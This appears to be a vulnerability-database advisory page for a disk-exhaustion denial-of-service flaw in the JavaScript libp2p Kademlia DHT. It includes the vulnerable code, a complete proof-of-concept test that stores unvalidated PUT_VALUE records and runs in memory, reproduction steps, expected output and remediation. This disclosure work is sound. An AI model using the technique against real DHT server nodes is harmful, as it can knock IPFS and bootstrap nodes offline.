@libp2p/kad-dht CVE-2026-45783
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from Vendor (https://github.com/libp2p/js-libp2p) · only source for this CVE.
CVSS VectorVendor: https://github.com/libp2p/js-libp2p
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
2DescriptionCVE.org
Summary
An unauthenticated remote peer can exhaust the disk storage of any @libp2p/kad-dht node running in server mode by sending an unbounded stream of PUT_VALUE messages whose keys bypass all content validation. No credentials, no prior relationship, and no protocol deviation beyond a crafted key are required. The victim node's datastore fills until the host disk is exhausted, making the node unavailable.
Details
Two cooperating defects combine to produce the vulnerability.
Defect 1: verifyRecord silent early-return (packages/kad-dht/src/record/validators.ts:19-21)
export async function verifyRecord(validators: Validators, record: Libp2pRecord, options?: AbortOptions): Promise<void> {
const key = record.key
const keyString = uint8ArrayToString(key) // decode as UTF-8
const parts = keyString.split('/')
if (parts.length < 3) {
// No validator available
return // <- silent success; record IS written to datastore
}
// ...
}Legitimate DHT keys (/pk/<multihash>, /ipns/<peerId>) have exactly 3 slash-delimited parts and are routed to registered validators. Any key whose UTF-8 representation splits into fewer than 3 parts, single-byte keys, or any value without two / characters, thus, bypasses validation entirely and is written to the datastore unconditionally. There is no audit log and no error returned to the caller.
Defect 2: Unbounded RPC message loop (packages/kad-dht/src/rpc/index.ts:103-152)
let signal = AbortSignal.timeout(this.incomingMessageTimeout) // 10 s inactivity timer
signal.addEventListener('abort', abortListener)
const messages = pbStream(stream).pb(Message) // DEFAULT_MAX_DATA_LENGTH = 4 MB
while (true) {
if (stream.readStatus !== 'readable') { await stream.close({ signal }); break }
const message = await messages.read({ signal })
await this.handleMessage(connection.remotePeer, message)
// ...
signal.removeEventListener('abort', abortListener)
signal = AbortSignal.timeout(this.incomingMessageTimeout) // timer RESET each message
signal.addEventListener('abort', abortListener)
}The inactivity timeout is reset after every successfully received message. There is no per-stream message count limit, no per-peer byte budget, and no rate limiter. An attacker who delivers each message within the 10-second window can stream an unlimited number of messages indefinitely.
Combined impact
DEFAULT_MAX_DATA_LENGTH = 4 MBper message (from@libp2p/utils)DEFAULT_MAX_INBOUND_STREAMS = 32concurrent streams perkad-dhtinstance- Attack throughput: 4 MB × unlimited messages × 32 streams
- Minimum attacker cost: standard libp2p TLS handshake (no authentication beyond that)
Differential note: go-libp2p-kad-dht enforces record.Validator.Validate() per-key at the RPC layer; records with unrecognised namespaces are rejected with an error, not silently stored. This divergence is JS-specific.
PoC
The proof-of-concept is a mocha test checked in alongside the package test suite. It uses an in-memory stream pair, thus, no network traffic, no external connections.
File: packages/kad-dht/test/rpc/poc-put-value-unvalidated.spec.ts:
/**
* PoC: kad-dht PUT_VALUE stored without validation for keys with < 3 slash-separated parts
*
* Affected: packages/kad-dht/src/record/validators.ts:19-22
* packages/kad-dht/src/rpc/handlers/put-value.ts
* packages/kad-dht/src/rpc/index.ts (unbounded while loop)
*/
/* eslint-env mocha */
import assert from 'node:assert'
import { start } from '@libp2p/interface'
import { defaultLogger } from '@libp2p/logger'
import { persistentPeerStore } from '@libp2p/peer-store'
import { Libp2pRecord } from '@libp2p/record'
import { streamPair } from '@libp2p/utils'
import { MemoryDatastore } from 'datastore-core'
import * as lp from 'it-length-prefixed'
import { TypedEventEmitter } from 'main-event'
import pDefer from 'p-defer'
import Sinon from 'sinon'
import { stubInterface } from 'sinon-ts'
import { StreamMessageEvent } from '@libp2p/interface'
import { toString as uint8ArrayToString } from 'uint8arrays/to-string'
import { Message, MessageType } from '../../src/message/dht.js'
import { PeerRouting } from '../../src/peer-routing/index.js'
import { Providers } from '../../src/providers.js'
import { RoutingTable } from '../../src/routing-table/index.js'
import { RPC } from '../../src/rpc/index.js'
import { passthroughMapper } from '../../src/utils.js'
import { createPeerIdWithPrivateKey } from '../utils/create-peer-id.js'
import type { Validators } from '../../src/index.js'
import type { RPCComponents } from '../../src/rpc/index.js'
import type { Connection, Libp2pEvents } from '@libp2p/interface'
import type { AddressManager } from '@libp2p/interface-internal'
import type { Datastore } from 'interface-datastore'
describe('PoC: PUT_VALUE stores data without validation for short keys', function () {
this.timeout(15_000)
let rpc: RPC
let datastore: Datastore
beforeEach(async () => {
const peerId = await createPeerIdWithPrivateKey()
datastore = new MemoryDatastore()
const components: RPCComponents = {
peerId: peerId.peerId,
datastore,
peerStore: stubInterface(),
addressManager: stubInterface<AddressManager>(),
logger: defaultLogger()
}
components.peerStore = persistentPeerStore({
...components,
events: new TypedEventEmitter<Libp2pEvents>()
})
await start(...Object.values(components))
// Default validators: only 'pk' and 'ipns' in production.
// Empty {} means: any key with ≥3 parts but unknown type throws; any key
// with <3 parts silently passes (the bypass under test).
const validators: Validators = {}
rpc = new RPC(components, {
routingTable: Sinon.createStubInstance(RoutingTable),
providers: Sinon.createStubInstance(Providers),
peerRouting: Sinon.createStubInstance(PeerRouting),
validators,
logPrefix: '',
metricsPrefix: '',
datastorePrefix: '',
peerInfoMapper: passthroughMapper
})
})
it('BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts', async () => {
// Key bytes that, when decoded as UTF-8, produce a string with only 1 part
// when split on '/': [0x01, 0x02, 0x03] → "\x01\x02\x03" → length 1 < 3
const craftedKey = new Uint8Array([0x01, 0x02, 0x03])
const keyStr = uint8ArrayToString(craftedKey)
const parts = keyStr.split('/')
assert.ok(parts.length < 3,
`key produces ${parts.length} parts - expected < 3 for bypass`)
const PAYLOAD_SIZE = 64 * 1024 // 64 KB - replace with 4 * 1024 * 1024 for full impact
const largeValue = new Uint8Array(PAYLOAD_SIZE).fill(0xAB)
const record = new Libp2pRecord(craftedKey, largeValue, new Date())
const encodedRecord = record.serialize()
const msg: Partial<Message> = {
type: MessageType.PUT_VALUE,
key: craftedKey,
record: encodedRecord
}
// Confirm datastore is empty before the attack
const before: string[] = []
for await (const { key } of datastore.query({})) {
before.push(key.toString())
}
assert.strictEqual(before.filter(k => k.includes('/record/')).length, 0,
'datastore must be empty before attack')
// Open an in-memory stream pair.
// outboundStream = attacker; incomingStream = victim.
const [outboundStream, incomingStream] = await streamPair()
// Wait for the echoed response (PUT_VALUE handler returns the message).
// This confirms the victim processed the message before we check the store.
const responseReceived = pDefer<void>()
outboundStream.addEventListener('message', (evt) => {
// LP-decode the response and verify it's our PUT_VALUE echo
for (const buf of lp.decode([(evt as StreamMessageEvent).data])) {
const response = Message.decode(buf)
if (response.type === MessageType.PUT_VALUE) {
responseReceived.resolve()
}
}
})
// Schedule message send after victim starts listening (mirrors existing test pattern)
queueMicrotask(() => {
outboundStream.send(lp.encode.single(Message.encode(msg)))
})
// Start victim processing - do not await yet
const victimDone = rpc.onIncomingStream(
incomingStream,
stubInterface<Connection>()
)
// Wait until the victim has processed and echoed the message
await responseReceived.promise
// Verify: arbitrary record was stored
const after: string[] = []
for await (const { key } of datastore.query({})) {
after.push(key.toString())
}
const dhtRecordsAfter = after.filter(k => k.includes('/record/'))
assert.ok(dhtRecordsAfter.length > 0,
'VULNERABILITY CONFIRMED: arbitrary record stored without validation')
console.log(`\n[PoC] Datastore key written: ${dhtRecordsAfter[0]}`)
console.log(`[PoC] Bypassed validator with: key=[${Array.from(craftedKey).map(b => `0x${b.toString(16)}`).join(',')}]`)
console.log(`[PoC] Payload stored: ${PAYLOAD_SIZE} bytes (${PAYLOAD_SIZE / 1024} KB)`)
// Clean up: abort the stream so victimDone resolves
incomingStream.abort(new Error('test cleanup'))
await victimDone.catch(() => {})
})
it('RATE: N PUT_VALUE writes with different keys grow the datastore unchecked', async () => {
const MESSAGES = 8
const VALUE_SIZE = 16 * 1024 // 16 KB each
for (let i = 0; i < MESSAGES; i++) {
// Unique key per message → unique datastore entry per write
const craftedKey = new Uint8Array([0x10, (i >> 8) & 0xFF, i & 0xFF])
const value = new Uint8Array(VALUE_SIZE).fill(i & 0xFF)
const record = new Libp2pRecord(craftedKey, value, new Date())
const msg: Partial<Message> = {
type: MessageType.PUT_VALUE,
key: craftedKey,
record: record.serialize()
}
const [outboundStream, incomingStream] = await streamPair()
const responseReceived = pDefer<void>()
outboundStream.addEventListener('message', () => { responseReceived.resolve() })
queueMicrotask(() => { outboundStream.send(lp.encode.single(Message.encode(msg))) })
const victimDone = rpc.onIncomingStream(incomingStream, stubInterface<Connection>())
await responseReceived.promise
incomingStream.abort(new Error('test cleanup'))
await victimDone.catch(() => {})
}
const keys: string[] = []
for await (const { key } of datastore.query({})) {
keys.push(key.toString())
}
const dhtRecords = keys.filter(k => k.includes('/record/'))
assert.strictEqual(dhtRecords.length, MESSAGES,
`expected ${MESSAGES} records stored`)
const totalKB = (MESSAGES * VALUE_SIZE) / 1024
console.log(`\n[PoC] ${MESSAGES} records stored → ${totalKB} KB written`)
console.log('[PoC] No per-peer write budget. No per-stream message count limit.')
console.log('[PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion.')
})
})Steps to reproduce (tested on commit 15eeedba13846e55e8fc3f9e4c49af18fa185ea4):
git clone https://github.com/libp2p/js-libp2p.git
cd js-libp2p
npm install
cd packages/kad-dht
npx aegir build
node --experimental-vm-modules ../../node_modules/.bin/mocha \
'dist/test/rpc/poc-put-value-unvalidated.spec.js' --timeout 30000Expected output:
PoC: PUT_VALUE stores data without validation for short keys
[PoC] Datastore key written: /record/aebag
[PoC] Bypassed validator with: key=[0x1,0x2,0x3]
[PoC] Payload stored: 65536 bytes (64 KB)
✔ BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts
[PoC] 8 records stored → 128 KB written
[PoC] No per-peer write budget. No per-stream message count limit.
[PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion.
✔ RATE: N PUT_VALUE writes with different keys grow the datastore unchecked
2 passing (44ms)Test 1 (BYPASS) confirms that a single PUT_VALUE message with a 3-byte raw key stores a 64 KB payload in the victim's datastore with no validation.
Test 2 (RATE) confirms that N sequential writes with distinct keys each produce a new datastore entry, demonstrating the absence of any write budget or deduplication defence.
Impact
Affected deployments: any @libp2p/kad-dht node in server mode (clientMode: false). Server mode is the default for nodes with publicly routable addresses; the kad-dht module auto-switches to server mode (kad-dht.ts:340-358). This includes:
- IPFS nodes (kubo, Helia, any JS IPFS implementation)
- libp2p bootstrap nodes
- Any application exposing a public DHT endpoint
Not affected: DHT client-mode nodes, setMode('client') calls registrar.unhandle(this.protocol) which removes the inbound stream handler entirely.
Availability (disk): attacker fills the victim's datastore partition. A full datastore prevents the victim from writing new DHT records, peer store entries, or any other application data sharing the same datastore backend (common in IPFS nodes using a shared repo datastore). Node becomes unavailable.
No authentication barrier: the only prerequisite is a successful libp2p connection handshake (TLS). Any publicly reachable node is exposed.
Suggested minimum fix: Change the silent early-return to a hard rejection:
- if (parts.length < 3) {
- // No validator available
- return
- }
+ if (parts.length < 3) {
+ throw new InvalidParametersError(`Record key has no recognisable namespace: refusing to store`)
+ }AnalysisAI
Unauthenticated disk-exhaustion denial of service in @libp2p/kad-dht (versions before 16.2.6) allows any remote peer to fill the datastore of a DHT server-mode node by streaming PUT_VALUE messages with crafted keys that bypass record validation. Affected deployments include IPFS nodes (kubo, Helia), libp2p bootstrap nodes, and any application exposing a public DHT endpoint with clientMode disabled. Publicly available exploit code exists as a mocha PoC checked in alongside the package test suite; no public exploit identified as actively used at time of analysis.
Technical ContextAI
@libp2p/kad-dht is the JavaScript implementation of the Kademlia Distributed Hash Table used by js-libp2p and downstream consumers such as IPFS (Helia/kubo-js) and Filecoin tooling. The flaw (CWE-20, Improper Input Validation) lives in two cooperating defects: verifyRecord() in packages/kad-dht/src/record/validators.ts silently returns success when a record key, decoded as UTF-8, splits into fewer than three slash-delimited parts (legitimate keys follow the /pk/<multihash> or /ipns/<peerId> namespace pattern); and the RPC dispatch loop in packages/kad-dht/src/rpc/index.ts resets a 10-second inactivity timer on every successful read with no per-stream message ceiling, per-peer byte budget, or rate limiter. Combined with DEFAULT_MAX_DATA_LENGTH of 4 MB per message and DEFAULT_MAX_INBOUND_STREAMS of 32 concurrent streams, an attacker has effectively unlimited write throughput. The Go implementation (go-libp2p-kad-dht) enforces Validator.Validate() per key and rejects unknown namespaces, so the bug is JS-specific. Affected package per CPE: pkg:npm/@libp2p_kad-dht.
RemediationAI
Vendor-released patch: upgrade @libp2p/kad-dht to 16.2.6 or later (npm install @libp2p/kad-dht@^16.2.6 and rebuild any IPFS/Helia/kubo-js stack pinning an older transitive version); verify via npm ls @libp2p/kad-dht that no nested copy remains on the vulnerable range. The advisory at https://github.com/libp2p/js-libp2p/security/advisories/GHSA-32mq-hpph-xfvr documents the fix, which changes the silent early-return in verifyRecord to throw InvalidParametersError when a key has no recognisable namespace. If immediate patching is not possible, switch the node to DHT client mode via setMode('client') - this fully removes the inbound PUT_VALUE handler and eliminates exposure, with the trade-off that the node will no longer serve DHT queries for peers, reducing network participation and potentially harming content discoverability for the broader network. As a secondary control, isolate the datastore on a dedicated partition so a fill attack cannot starve the host OS or other applications sharing the IPFS repo datastore, and add disk-utilization alerting; this does not stop the DoS but contains blast radius. Restricting inbound libp2p connections at the firewall to a known peer allowlist also blocks the attack but defeats the purpose of running a public DHT server.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same weakness CWE-20 – Improper Input Validation
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-32mq-hpph-xfvr